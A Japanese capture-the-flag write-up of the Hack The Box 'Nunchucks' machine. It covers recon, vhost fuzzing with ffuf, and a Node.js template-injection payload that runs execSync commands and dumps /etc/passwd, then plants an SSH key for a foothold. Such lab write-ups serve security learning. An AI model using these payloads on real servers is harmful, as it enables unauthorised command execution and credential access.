Hack the box - Nunchucks
Hack the boxのNunchucksを完了したのでメモ。
難易度 | Writeupを |
---|---|
Easy | 見た |
1. nmapでrecon
- 22、80、443が空いている
- 80は443へリダイレクトされる
- nunchucks.htbを/etc/hostsへ追記
2. Webサーバが動いているのでアクセス
- NunchucksというECサイトのを作成できるSaaSの紹介ページ
- loginやregisterページはDisabledされている
特にほしい情報なし
4. VHOST Enumeration
vhostのEnumerationに必要な辞書を作成する
https://nunchucks.htb
に対してcewl
を実行
$ cewl https://nunchucks.htb/ | tr '[A-Z]' '[a-z]' > cewl.list
fuff
でvhostのEnumerationを開始。
$ ffuf -w ./cewl.list -H "Host: FUZZ.nunchucks.htb" -u https://nunchucks.htb/
... (略) ...
services [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 119ms]implementation [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 118ms]chosen [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 119ms]can [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 121ms]our [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 118ms]text [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 121ms]with [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 120ms]
ステータス200が返っているけど、これらのvhostは見つからないのでフィルタで除外して、再度実行
$ ffuf -w ./cewl.list -H "Host: FUZZ.nunchucks.htb" -u https://nunchucks.htb/ -fs 30589
... (略) ...
store [Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 138ms]:: Progress: [797/797] :: Job [1/1] :: 230 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
store.nunchuks.htb
が見つかる
5. store.nunchuks.htb
にアクセス
ローンチ前のサービスについて、メールアドレスを入力することで情報を受け取れるようだ
[email protected]
を入れてNotify Meを押すと、たったいま入力したアドレスがボックスの下の文言の末尾に表示される
6. Template Injectionを試す
{{7*7}}@hoge.com -> [email protected]になって返ってくる${7*7}@hoge.com<%= 7*7 %>@hoge.com${{7*7}}@hoge.com#{7*7}@hoge.com*{7*7}@hoge.com
SSTIの脆弱性がありそう
またレスポンスをBurpでキャプチャすると、ヘッダにX-Powered-By: Express
があるので、Node.jsのExpressが使われているようだ
SSTIのPOCを試す
こちらのPOCを試す
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
ただしブラウザ画面から実施してもメールフォーマットのバリデーションではじかれるため、いったん[email protected]
で送信したリクエストをBurpでキャプチャしてRepeaterに流す
リクエストにはJSON形式でemailが挿入されているので、そこにPOCを入れ込む
{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}@hoge.com"}
レスポンスには/etc/passwdがtailされて返ってくる
{"response":"You will receive updates on the following email address: lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nrtkit:x:113:117:RealtimeKit,,,:/proc:/usr/sbin/nologin\ndnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\ngeoclue:x:115:120::/var/lib/geoclue:/usr/sbin/nologin\navahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin\ncups-pk-helper:x:117:123:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\nsaned:x:118:124::/var/lib/saned:/usr/sbin/nologin\ncolord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\npulse:x:120:126:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin\nmysql:x:121:128:MySQL Server,,,:/nonexistent:/bin/false\[email protected]."}
tailじゃなくてcatで全部抜き出して、整形する
root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\nlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\ndavid:x:1000:1000:david:/home/david:/bin/bash\n <=============lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nrtkit:x:113:117:RealtimeKit,,,:/proc:/usr/sbin/nologin\ndnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\ngeoclue:x:115:120::/var/lib/geoclue:/usr/sbin/nologin\navahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin\ncups-pk-helper:x:117:123:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\nsaned:x:118:124::/var/lib/saned:/usr/sbin/nologin\ncolord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\npulse:x:120:126:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin\nmysql:x:121:128:MySQL Server,,,:/nonexistent:/bin/false\n
david
ユーザが使えそう
davidユーザにログインする
これまで使ってきたSSTIを使ってさらに調査を進めると、以下がわかる
id
→ このWebサーバはdavidによって実行されている
ls -la /home/david
→ .ssh
がない
自分で.ssh/authorized_keys
をおいて、鍵認証でdavid
にログインすればいいのでは → 実際うまくいく
サーバ内の調査
/opt
にWebサーバのプログラムをバックアップするperlスクリプトがある:rootで動作する、狙い目